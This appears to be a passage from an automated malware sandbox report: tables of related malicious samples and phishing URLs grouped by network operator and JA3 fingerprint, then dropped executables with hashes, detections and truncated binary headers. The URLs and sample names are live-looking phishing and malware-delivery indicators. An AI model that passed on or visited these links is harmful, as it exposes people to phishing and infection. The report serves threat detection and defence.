CLOUDFLARENETUS	https://doc.clickup.com/9014542322/d/h/8cmxzzj-434/d3ec30ee79aa63a	Get hash	malicious	HTMLPhisher	Browse	104.18.95.41
	MT.Hunter - Vessel's Details.doc.scr.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	104.26.13.205
	MV Catalina Particulars.pdf.scr.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	104.26.13.205
	http://my.vrca.ca/_alcd/etr.ashx?etuid=B6EC5EC3-A3FA-4276-9728-F0F26D555086&p=https%3A%2F%2Fwww.google.com%2Famp%2Fs%2Fwww.google.ae%2Famp%2Fs%2Fstaging.d1urxazp7wh1vp.amplifyapp.com%2F	Get hash	malicious	Unknown	Browse	188.114.97.3
	Access_latest_x64.msi	Get hash	malicious	Unknown	Browse	172.64.41.3
	Document 21824RXVPO.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	188.114.96.3
	https://app.pandadoc.com/document/23f725415514eaa9fbd8a774d4b07726c024fad3	Get hash	malicious	Unknown	Browse	104.16.117.116
	https://benyera.com/workprojects/index.php	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	https://www.lusha.com/privacy_topic/control-your-profile/	Get hash	malicious	Unknown	Browse	104.18.86.42
	https://www.billabong.com.au/on/demandware.store/Sites-BB-AU-Site/en_AU/Cart-ShowAbandoned?forcemail=OdXPiDULZhidW4kWqRZ08ue1SCSN%2fW3Q&acdid=ACS_&heid=936e1ddf07687553fb65a9dfe59db3b83fbc7d4c7105dd9452d7ca5e281fec83&camp=em_bbg_au-en_e_neolane_cart-abd_-_all_-_-_trigger_em3&utm_source=neolane&utm_medium=email&utm_campaign=cart-abd31366005512	Get hash	malicious	Unknown	Browse	104.22.50.98
FREE-NET-ASFREEnetEU	K61NUunFJv.exe	Get hash	malicious	DCRat	Browse	147.45.228.97
	file.exe	Get hash	malicious	RedLine	Browse	147.45.47.36
	3YnUgeDEZz.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	147.45.44.104
	4fmxsamrPG.exe	Get hash	malicious	DCRat	Browse	147.45.44.51
	4QXC0LSV8t.exe	Get hash	malicious	DCRat	Browse	147.45.44.51
	file.exe	Get hash	malicious	RedLine	Browse	147.45.47.36
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	147.45.44.104
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	147.45.44.104
	jVx5NmzYC2.exe	Get hash	malicious	RedLine	Browse	147.45.47.36
	file.exe	Get hash	malicious	RedLine	Browse	147.45.47.53
GOOGLE-AS-APGoogleAsiaPacificPteLtdSG	https://monogogo.info/JQJMLAWN#em=npaladino@bigge.com	Get hash	malicious	Phisher	Browse	34.117.39.58
	https://l.facebook.com/l.php?u=https%3A%2F%2Fshorten.tv%2F%40helpcontact854939854%3Ffbclid%3DIwZXh0bgNhZW0CMTAAAR0AlBWT8tz2ATnLxZarfLrJKfzX-PTT2xLYu__SILtfzriXSPrd_VaQ_ec_aem_RKx-cZnVIEeJshcNUM3bDw&h=AT1nrUfgKAY-l-qrEUgKghjlBQ4Hw-C3zCH42kR3K0v-nyHHp3WxV3Xt8-4Aa5wwFKYewV7x9VvrM84jIGiP4fXXAQecfZh13KPtsvx16U5h91HCqz40KTpMlRSlpgITs6M	Get hash	malicious	Unknown	Browse	34.117.101.88
	nf075-4d-qns0-w383.msi	Get hash	malicious	Unknown	Browse	34.117.59.81
	kovENvYM9C.elf	Get hash	malicious	Unknown	Browse	34.117.230.253
	http://pickvibe.lt/lt/p/miestu-renginiai/renginiai-naujojoje-akmeneje	Get hash	malicious	Unknown	Browse	34.117.239.71
	webWin.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	34.117.59.81
	W1nner client.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	34.117.59.81
	file.exe	Get hash	malicious	Amadey, Stealc	Browse	34.117.188.166
	file.exe	Get hash	malicious	Babadeda	Browse	34.117.188.166
	http://pflwh.pomeryan.com/4HpNTt15553xtqa1382knsykfmuvm25912PUWUJAJOPLPWWDM2837EWZP17387i18	Get hash	malicious	Unknown	Browse	34.117.239.71
AS-REGRU	Document 21824RXVPO.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	194.58.112.174
	PI #9100679047.exe	Get hash	malicious	FormBook	Browse	31.31.198.36
	ExeFile (23).exe	Get hash	malicious	Unknown	Browse	134.0.115.157
	TRIAL_ORDER_OTHERS.exe	Get hash	malicious	FormBook, GuLoader	Browse	194.58.112.174
	Shipping Documents.exe	Get hash	malicious	FormBook	Browse	31.31.198.36
	file.exe	Get hash	malicious	Cryptbot, Neoreklami	Browse	194.58.114.223
	file.exe	Get hash	malicious	Cryptbot, Neoreklami	Browse	194.58.114.223
	https://t.co/npkZDYSMYU	Get hash	malicious	Unknown	Browse	195.133.13.75
	file.exe	Get hash	malicious	Cryptbot	Browse	194.58.114.223
	Dhl_air_waybill_shipping_documents_original_BL_CI&PL_13_08_2024_00000000_doc.vbs	Get hash	malicious	Unknown	Browse	31.31.198.183

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
1138de370e523e824bbca92d049a3777	https://doc.clickup.com/9014542322/d/h/8cmxzzj-434/d3ec30ee79aa63a	Get hash	malicious	HTMLPhisher	Browse	173.222.162.64
	https://benyera.com/workprojects/index.php	Get hash	malicious	HTMLPhisher	Browse	173.222.162.64
	https://navigate-loginscreen-att-102042.weeblysite.com/	Get hash	malicious	Unknown	Browse	173.222.162.64
	https://breakthroughenterprise.com/cs-ebm/nl/scoem.php?93750164e68ddf61a445bc7dd11cf4ce	Get hash	malicious	Unknown	Browse	173.222.162.64
	https://breakthroughenterprise.com/cs-ebm/nl/index.aspx.php?8f4bad0522fface240aff15a309eeeef	Get hash	malicious	Unknown	Browse	173.222.162.64
	https://breakthroughenterprise.com/cs-ebm/nl/svmo.php?24b4bff909fd373e6c092ab73020ce15	Get hash	malicious	Unknown	Browse	173.222.162.64
	http://akbasvurunualhemen21.cloud/	Get hash	malicious	HTMLPhisher	Browse	173.222.162.64
	https://goshopel.com/	Get hash	malicious	HTMLPhisher	Browse	173.222.162.64
	https://pub-94947e4b0a564a1c9f3f0cf3eed5e9af.r2.dev/oxuth.html	Get hash	malicious	HTMLPhisher	Browse	173.222.162.64
	Info Bonus Appreciation Letter_1151.pdf	Get hash	malicious	Unknown	Browse	173.222.162.64
28a2c9bd18a11de089ef85a160da29e4	https://github.com/Runsim12/Cleodf/raw/main/Tran_ID-Details009192_End_Ids_58788719853478_Pdf.rar	Get hash	malicious	Unknown	Browse	20.190.160.20
	https://doc.clickup.com/9014542322/d/h/8cmxzzj-434/d3ec30ee79aa63a	Get hash	malicious	HTMLPhisher	Browse	20.190.160.20
	http://my.vrca.ca/_alcd/etr.ashx?etuid=B6EC5EC3-A3FA-4276-9728-F0F26D555086&p=https%3A%2F%2Fwww.google.com%2Famp%2Fs%2Fwww.google.ae%2Famp%2Fs%2Fstaging.d1urxazp7wh1vp.amplifyapp.com%2F	Get hash	malicious	Unknown	Browse	20.190.160.20
	https://app.pandadoc.com/document/23f725415514eaa9fbd8a774d4b07726c024fad3	Get hash	malicious	Unknown	Browse	20.190.160.20
	https://benyera.com/workprojects/index.php	Get hash	malicious	HTMLPhisher	Browse	20.190.160.20
	https://www.dropbox.com/l/scl/AAC7bZ0VQI_UDvxV34o89OGVuGeoyGILFFw	Get hash	malicious	Unknown	Browse	20.190.160.20
	https://www.lusha.com/privacy_topic/control-your-profile/	Get hash	malicious	Unknown	Browse	20.190.160.20
	https://competitiveplumbing.com.au/	Get hash	malicious	HTMLPhisher	Browse	20.190.160.20
	https://www.billabong.com.au/on/demandware.store/Sites-BB-AU-Site/en_AU/Cart-ShowAbandoned?forcemail=OdXPiDULZhidW4kWqRZ08ue1SCSN%2fW3Q&acdid=ACS_&heid=936e1ddf07687553fb65a9dfe59db3b83fbc7d4c7105dd9452d7ca5e281fec83&camp=em_bbg_au-en_e_neolane_cart-abd_-_all_-_-_trigger_em3&utm_source=neolane&utm_medium=email&utm_campaign=cart-abd31366005512	Get hash	malicious	Unknown	Browse	20.190.160.20
	https://cuka.vercel.app/?web=2017644@hdel.co.kr	Get hash	malicious	Unknown	Browse	20.190.160.20
a0e9f5d64349fb13191bc781f81f42e1	https://doc.clickup.com/9014542322/d/h/8cmxzzj-434/d3ec30ee79aa63a	Get hash	malicious	HTMLPhisher	Browse	172.67.161.217 172.67.186.145 188.114.97.3 23.197.127.21 34.117.59.81 188.114.96.3 172.67.148.102 172.67.178.83 172.67.75.163
	Setup.exe	Get hash	malicious	LummaC, Go Injector, LummaC Stealer	Browse	172.67.161.217 172.67.186.145 188.114.97.3 23.197.127.21 34.117.59.81 188.114.96.3 172.67.148.102 172.67.178.83 172.67.75.163
	Setup.exe	Get hash	malicious	LummaC, Go Injector, LummaC Stealer	Browse	172.67.161.217 172.67.186.145 188.114.97.3 23.197.127.21 34.117.59.81 188.114.96.3 172.67.148.102 172.67.178.83 172.67.75.163
	Setup.exe	Get hash	malicious	LummaC, Go Injector, LummaC Stealer	Browse	172.67.161.217 172.67.186.145 188.114.97.3 23.197.127.21 34.117.59.81 188.114.96.3 172.67.148.102 172.67.178.83 172.67.75.163
	SecuriteInfo.com.Win64.Malware-gen.14072.1224.exe	Get hash	malicious	LummaC, Go Injector, LummaC Stealer, MicroClip	Browse	172.67.161.217 172.67.186.145 188.114.97.3 23.197.127.21 34.117.59.81 188.114.96.3 172.67.148.102 172.67.178.83 172.67.75.163
	SecuriteInfo.com.Win64.Malware-gen.11552.16589.exe	Get hash	malicious	LummaC, Go Injector, LummaC Stealer	Browse	172.67.161.217 172.67.186.145 188.114.97.3 23.197.127.21 34.117.59.81 188.114.96.3 172.67.148.102 172.67.178.83 172.67.75.163
	SecuriteInfo.com.Trojan.Siggen29.22745.19833.25110.exe	Get hash	malicious	Unknown	Browse	172.67.161.217 172.67.186.145 188.114.97.3 23.197.127.21 34.117.59.81 188.114.96.3 172.67.148.102 172.67.178.83 172.67.75.163
	SecuriteInfo.com.Trojan.Siggen29.22745.19833.25110.exe	Get hash	malicious	Unknown	Browse	172.67.161.217 172.67.186.145 188.114.97.3 23.197.127.21 34.117.59.81 188.114.96.3 172.67.148.102 172.67.178.83 172.67.75.163
	064c59b3a8b03e6c733f88483fd675d99bc805399c55d4a1a7b613aa20d08de8_dump.exe	Get hash	malicious	LummaC, Go Injector, LummaC Stealer, SmokeLoader	Browse	172.67.161.217 172.67.186.145 188.114.97.3 23.197.127.21 34.117.59.81 188.114.96.3 172.67.148.102 172.67.178.83 172.67.75.163
	43q1wNs9CA.exe	Get hash	malicious	LummaC, Go Injector, LummaC Stealer, SmokeLoader	Browse	172.67.161.217 172.67.186.145 188.114.97.3 23.197.127.21 34.117.59.81 188.114.96.3 172.67.148.102 172.67.178.83 172.67.75.163
37f463bf4616ecd445d4a1937da06e19	DonghwanPOGM210820242020032108174KR18190824pu.vbs	Get hash	malicious	GuLoader, Remcos	Browse	162.159.130.233 142.250.181.225 188.114.97.3 188.114.96.3 162.241.63.30 54.210.117.250
	file.exe	Get hash	malicious	Zhark RAT	Browse	162.159.130.233 142.250.181.225 188.114.97.3 188.114.96.3 162.241.63.30 54.210.117.250
	sample.exe	Get hash	malicious	FormBook, GuLoader	Browse	162.159.130.233 142.250.181.225 188.114.97.3 188.114.96.3 162.241.63.30 54.210.117.250
	ExeFile (274).exe	Get hash	malicious	Unknown	Browse	162.159.130.233 142.250.181.225 188.114.97.3 188.114.96.3 162.241.63.30 54.210.117.250
	ExeFile (308).exe	Get hash	malicious	Unknown	Browse	162.159.130.233 142.250.181.225 188.114.97.3 188.114.96.3 162.241.63.30 54.210.117.250
	ExeFile (308).exe	Get hash	malicious	Unknown	Browse	162.159.130.233 142.250.181.225 188.114.97.3 188.114.96.3 162.241.63.30 54.210.117.250
	SecuriteInfo.com.Win32.Malware-gen.12816.24626.exe	Get hash	malicious	Vidar	Browse	162.159.130.233 142.250.181.225 188.114.97.3 188.114.96.3 162.241.63.30 54.210.117.250
	SecuriteInfo.com.Trojan.PWS.Steam.37514.11423.27382.exe	Get hash	malicious	Vidar	Browse	162.159.130.233 142.250.181.225 188.114.97.3 188.114.96.3 162.241.63.30 54.210.117.250
	SecuriteInfo.com.W32.ABRisk.JZOD-0687.30425.1987.exe	Get hash	malicious	Vidar	Browse	162.159.130.233 142.250.181.225 188.114.97.3 188.114.96.3 162.241.63.30 54.210.117.250
	ExeFile (331).exe	Get hash	malicious	Unknown	Browse	162.159.130.233 142.250.181.225 188.114.97.3 188.114.96.3 162.241.63.30 54.210.117.250

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\66c2d861a5b4d_google[1].exe	file.exe	Get hash	malicious	Xmrig	Browse
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\66c1c5838f95f_file1808[1].exe	file.exe	Get hash	malicious	Babuk, Djvu	Browse
C:\ProgramData\kttbjzxfyqcy\erzljnhmzkuz.exe	file.exe	Get hash	malicious	Xmrig	Browse

Created / dropped Files

C:\ProgramData\kttbjzxfyqcy\erzljnhmzkuz.exe

Download File

Process:	C:\Users\user\Documents\piratemamm\zVS6xq86P4Kl0c26CfULXfv4.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	11083776
Entropy (8bit):	7.964818520008496
Encrypted:	false
SSDEEP:	196608:hdclOOMPjOF5YEbRubP8kf+43/lOBv63JYEYjen8rP9Ocx1ZNONC:POWjO89bER6lOBC3LYjen8rlh1vOI
MD5:	8447DBE44AA2EDE5D56341E0DC22F319
SHA1:	E49DBD51C770F207601E99C31F0B689083F7856A
SHA-256:	11128E278985BE292EC748D40794ED3B94392E540BE7F0B3C9A718A4FB4FC177
SHA-512:	1064114860F42A72D870F17A808FEF40E5299B628029F871BE2EC32C0D0EA887FEE4BA66B33EB328371B7811714038A861451CD8D3C270695720E9DF9D4FF199
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 75%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d......f..........#...................~........@.......................................... .....................................................<..........@...`*...........................................\|.(.......8............... ............................text...V........................... ..`.rdata..............................@..@.data...............................@....pdata..............................@..@.00cfg..............................@..@.tls................................@....text0..t.)......................... ..`.text1..X...........................@....text2..............................`..h.rsrc..............................@..@........................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\fOzLadrzZNRnwv2woTdiFoXM.exe.log

Download File

Process:	C:\Users\user\Documents\piratemamm\fOzLadrzZNRnwv2woTdiFoXM.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	522
Entropy (8bit):	5.358731107079437
Encrypted:	false
SSDEEP:	12:Q3La/hz92n4M9tDLI4MWuPTAOKbbDLI4MWuPJKAVKhav:MLU84qpE4KlKDE4KhKiKhk
MD5:	93E4C46884CB6EE7CDCC4AACE78CDFAC
SHA1:	29B12D9409BA9AFE4C949F02F7D232233C0B5228
SHA-256:	2690023A62F22AB7B27B09351205BA31173B50B77ACA89A5759EDF29A1FB17F7
SHA-512:	E9C3E2FCEE4E13F7776665295A4F6085002913E011BEEF32C8E7065140937DDE1963182B547CC75110BF32AE5130A6686D5862076D5FFED9241F183B9217FA4D
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"Microsoft.VisualBasic, Version=10.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\66c1c5838f95f_file1808[1].exe

Download File

Process:	C:\Users\user\Desktop\3QKcKCEzYP.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	795648
Entropy (8bit):	7.478589132226232
Encrypted:	false
SSDEEP:	24576:aG18MH/r+RAIFqLN7/uW/Nau09jMxrc5N:3aMD+RANBKIJ09j
MD5:	006EDF0AC466164DDC9E0AC56474FE0A
SHA1:	EE9F512713AF63759F11279090D2C8004762735B
SHA-256:	D343EA857CDF97AA0CCFD14970425C6888BD216D36AD7F6255A044BED36A4B2A
SHA-512:	43305369FEA2DAD52D51BC9D5947A2F7E78D33BAADD07093C250B9EB1FD3762C511033BBFAE2B8D6EB52254306D137E29CD15E0B30B0F6D44A9D4F3D12B8B808
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 100%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........................................F...............................Rich...................PE..L......e.................@..........~........P....@..........................0.......e.......................................f..<...................................................................c..@............P..h............................text....?.......@.................. ..`.rdata..L....P... ...D..............@..@.data........p.......d..............@....rsrc..............................@..@........................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\66c4c71a033c6_otr[1].exe

Download File

Process:	C:\Users\user\Desktop\3QKcKCEzYP.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	2984448
Entropy (8bit):	7.656454713101028
Encrypted:	false
SSDEEP:	49152:+qaUDr+obxLq3iaBwdxiMaxx1buynNoTugnzq3bZvTFTSXedTUDoCFRbH:1i3x13n+TuKz8bZv8XedyouRbH
MD5:	993F5FDF3BD55F35661293167E39649A
SHA1:	4DCA34FD078FAF357DBFB56181E2DBBACA2AE9D6
SHA-256:	21381B405BBB2D1AC38F1D908E0DC8A399FB2401D2ED1C1A300A2144626F9ADD
SHA-512:	04894447773CCCABAEEB7C05599EAB586376F54D3A9A482F21B3FA79B969E969E29BF5F2C55A36E4BDD433F763ED97926A632CD6B7D6CEEAD0EE75684B975F59
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 58%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...J.................P...+...........,.. ... ,...@.. ........................-...........@...................................,.O.... ,.......................-.......,.8............................................ ............... ..H............text.....+.. ....+................. ..`.rsrc........ ,.......+.............@..@.reloc........-.......-.............@..B..................,.....H........W...............O..`.............................................(....&..(......s.........s ........s!........s"........s#...........0...........~....o$....+...0...........~....o%....+...0...........~....o&....+...0...........~....o'....+...0...........~....o(....+...0..<........~.....().....,!r...p.....(...o+...s,............~.....+...0...........~.....+.."........0..&........(....r3..p~....o-...(......t.....+..Vs....(/...t...........(0...*.0..........

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\StyleControls%20VCL[1].exe

Download File

Process:	C:\Users\user\Desktop\3QKcKCEzYP.exe
File Type:	PE32+ executable (GUI) x86-64 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	8533504
Entropy (8bit):	6.333671396191929
Encrypted:	false
SSDEEP:	49152:lFbWnXBu17RAV17vstEd7CmQqzuvrv59XNeV9e6kXKwD5EXhXwHxVFfMotNXiLfB:bWulTaQNNVD5cXqFhNjERbvNcrLho
MD5:	D4FCA59C99D8D70ACA5744D147E37C03
SHA1:	0ED1CF14ECE0B5569A0BDF35D4504B5EAA98A64D
SHA-256:	0014EC684F5A1063BDC5A9E87009EC8DD31D95624CD8B28907ADCBACCE1EAE76
SHA-512:	114C1E2286FF359DBCF8EB0363B9ACED4BEA5120B54C6BB60F169CE917400CA9FC998453D72F09CBE26E5D54CC613426BAB7626182A10953FBC3695ECD13A65B
Malicious:	true
Yara Hits:	Rule: JoeSecurity_GoInjector_2, Description: Yara detected Go Injector, Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\StyleControls%20VCL[1].exe, Author: Joe Security
Antivirus:	Antivirus: ReversingLabs, Detection: 67%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d......................$..:..2.................@.....................................}....`... ...................................... ..N....0.......p..........tr..............(...............................(...................\|4..@............................text.....:.......:.................`.``.data........0:.......:.............@.`..rdata..0C@..P?..D@..0?.............@.`@.pdata..tr.......t...t..............@.0@.xdata..D.... .....................@.0@.bss.........0........................`..edata..N.... ......................@.0@.idata.......0......................@.0..CRT....p....P......................@.@..tls.........`......................@.@..rsrc........p......................@.0..reloc..(........ ..................@.0B................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\66c2d861a5b4d_google[1].exe

Download File

Process:	C:\Users\user\Desktop\3QKcKCEzYP.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	11083776
Entropy (8bit):	7.964818520008496
Encrypted:	false
SSDEEP:	196608:hdclOOMPjOF5YEbRubP8kf+43/lOBv63JYEYjen8rP9Ocx1ZNONC:POWjO89bER6lOBC3LYjen8rlh1vOI
MD5:	8447DBE44AA2EDE5D56341E0DC22F319
SHA1:	E49DBD51C770F207601E99C31F0B689083F7856A
SHA-256:	11128E278985BE292EC748D40794ED3B94392E540BE7F0B3C9A718A4FB4FC177
SHA-512:	1064114860F42A72D870F17A808FEF40E5299B628029F871BE2EC32C0D0EA887FEE4BA66B33EB328371B7811714038A861451CD8D3C270695720E9DF9D4FF199
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 75%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d......f..........#...................~........@.......................................... .....................................................<..........@...`*...........................................\|.(.......8............... ............................text...V........................... ..`.rdata..............................@..@.data...............................@....pdata..............................@..@.00cfg..............................@..@.tls................................@....text0..t.)......................... ..`.text1..X...........................@....text2..............................`..h.rsrc..............................@..@........................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\66c3721bc46fe_Ernrnmkio[1].exe

Download File

Process:	C:\Users\user\Desktop\3QKcKCEzYP.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	999936
Entropy (8bit):	7.924775390857932
Encrypted:	false
SSDEEP:	24576:1Ibj07xMVrpydHnnDfiDw8PZIykCu3oxmv2GX:1+ukYxDqnZTlns2
MD5:	902F14B6F32CC40A82D6A0F2C41208EC
SHA1:	C01E5BC3E9DBB84A5B36841045055999FC0A16CF
SHA-256:	81F91061C650C2D9FDEAB6A9D8BE220A93D46F930D5C435E4A00C511236A4CAA
SHA-512:	D55E184309E122FFBE3097BFB64B3E23829228CD16030DCA5856BFA1725BC60C2DA04BF04C8919CA658CA4B7B03E4BE6E6BC9240B5816903609969213BE2F97C
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 62%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...@F.f.................8...........V... ........@.. ....................................`..................................V..O....`............................................................................... ............... ..H............text....6... ...8.................. ..`.rsrc........`.......:..............@..@.reloc...............@..............@..B.................V......H........{...................l...........................................0..........(......(......0..........s......\|..........(....,/.\|.... X...(....}.....\|....(....(....o....}.....\|....{....o....,I.\|....{....o...........s....(...+..,$.(...+.o.... 0...(.... .......o....&.(......0.................8.....(.....s...... ....(....(.... ....(....(....o.....s........s............io.....o.........,...o........,..o........,..o.......&....i.;w......4....N..c........D.-q..........

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\setup[1].exe

Download File

Process:	C:\Users\user\Desktop\3QKcKCEzYP.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	7642866
Entropy (8bit):	7.996968145618235
Encrypted:	true
SSDEEP:	196608:91OjfO4ueQLmLK/lgw8+I8IPJJjxuMLaLPHau0NpVPMD:3OjfO4TQLmm/lSV8GJjzLaLSVpMD
MD5:	6685BAAC90C11334FF11841BFA22E61B
SHA1:	7A63AAF83540CE6FD2913B2A32BCB0E852F1B127
SHA-256:	76743AF80BFA6CA13E3E9944064141D1B700283EB5F89AA15B2DEE32D76CD2AF
SHA-512:	94764E1F3D65033295C57183A4BEDF158790D91BE88BE6BCBC8EB29F366877C55384A74F14B72328C8D40982FC9F00252CEBDB6E6F0625E45A72A0BB753A956E
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........W..s...s...s...}...s...y..s...,...s...r.!.s.......s...x..s.......s.......s.^.u...s.Rich..s.........PE..L....S.L.............................K............@.............................................................................d....p..`............................................................................................................text.............................. ..`.rdata...D.......F..................@..@.data...HZ.......2..................@....sxdata......`......................@....rsrc...`....p......................@..@................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	0.773832331134527
Encrypted:	false
SSDEEP:	3:NlllulNll:NllU
MD5:	75C059F0C6543681C4ACFE36E7E99F37
SHA1:	79EE76A6673DEB72E024542E6F1682CE70643A0C
SHA-256:	0268CAE1D808221A37116A6E7C4B4C0AE945A0243AA0B466C680FBD27B14FAA4
SHA-512:	BE0A19696CDDA35684C2C60B8E5862224BC044932A43D800ACF32E7D22695A1290B97ED68BBAEC2FAAAAD9CAC04C718C541AF9A8291BDB3331F4EDC30875B21D
Malicious:	false
Preview:	@...e...................................".......................

C:\Users\user\AppData\Local\Temp\7zS227C.tmp\Install.exe

Download File

Process:	C:\Users\user\Documents\piratemamm\r0bVQRH8Dto7infNi6DOB01w.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	6702722
Entropy (8bit):	7.996178734289878
Encrypted:	true
SSDEEP:	196608:91O0XdedEXhMK6o/7pO4ioYh8odUBLBUd4tFgdN:3O0IdaHMyYhZU1W6WdN
MD5:	26775D5C2D6D7D007426B7F6B97139D9
SHA1:	5EBBB706862021AFA83C9A10E22CCBCCDB018029
SHA-256:	1DCF48FAC98D45858708C9F3CE2F8854AC8508459AB17F982E4CFAE84F0AA1D8
SHA-512:	154E3AA85F9EE293F3ADC720ACA6E5AD2B0E4D843867C7EB7B21C7197EE88496417E1AF903D1564C1B47304C69518BBCA3B9DFBDCB0F4A3856B675B97CE1DD3F
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........W..s...s...s...}...s...y..s...,...s...r.!.s.......s...x..s.......s.......s.^.u...s.Rich..s.........PE..L....S.L.............................K............@.............................................................................d....p..`............................................................................................................text.............................. ..`.rdata...D.......F..................@..@.data...HZ.......2..................@....sxdata......`......................@....rsrc...`....p......................@..@................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\7zS227C.tmp\data\config.txt

Download File

Process:	C:\Users\user\Documents\piratemamm\r0bVQRH8Dto7infNi6DOB01w.exe
File Type:	data
Category:	dropped
Size (bytes):	773584
Entropy (8bit):	7.999741781952439
Encrypted:	true
SSDEEP:	12288:y9SYEiEnLmUbGq8RD31bQaMX3uXu1p+dFhbUSt3gAoxHZ89jfU8Fc/4rPKxy:y9TlEnLmZlKX6fdFtntqx58BU4k47KM
MD5:	46748F379ED3C5526201D6606CA8197D
SHA1:	959D9E251E076FE962F1800168DC9D1A9B498614
SHA-256:	26BB3D0FF7108201C9537581DE554C20E86243FC85C98922C509C3CEFF1878D8
SHA-512:	A76E77E0863261826424F62BBF0745536D1D661EADE2AF9CF95D6BF5E7B62E99EB65CFF01149BD16F1A6F37A7792DB51C0CA3908EF6A4B41514FDA54EBB234F4
Malicious:	false
Preview:	u.....F...f.k@r.C.]....od..u\|......#..z?.P.M.6..DP..u...P...7....T...U.$J..V.o1a.J....E..h..E...-...9.w\.O.[.S..k(.........-......V...q.Y.E...c....;..{.[N..?..."N.;-e...^X....`.$(./..B.bI..............[...,h.............v...8....#~ .l.....c......g-.I........@.ov....t<l...;P....R~..k.,8...U.....T....Lg:S.R...5./..e.7 ... ..........c.L(F.h.T........F...........K..=..[9gq\......-.w..$..L}...........G...!.\|l.Nl6.#.8....;........pC.....mbt./.!O ..s3wl.....s............H.$.nD.&.Roh".fH1zk........g...}..~%!r..1H.....t..5b.'.g.E.XK/..V...f`Q>..g...).Su.H.e..}&.q.C.9.6.h9,O.c......a.\|..l\|~70/O...V.W....q ..H)K;.....27.9>hT.R....kCb..{.Xt.sMG>.:q'.....of..)..'.R.2Ph.......k..3.c.!..O;(e*...N..Q.a....`p......y......(.@.x...S}\v.u.....++.`...H[...p{...M,.&.2.......Y.....d%....m#..Y1@W+...&..MEP5.}.D.1\..K...ft`.4.......V...lA..3&..;..7...i2 :..=.. .....~..@...2.:.}.c... 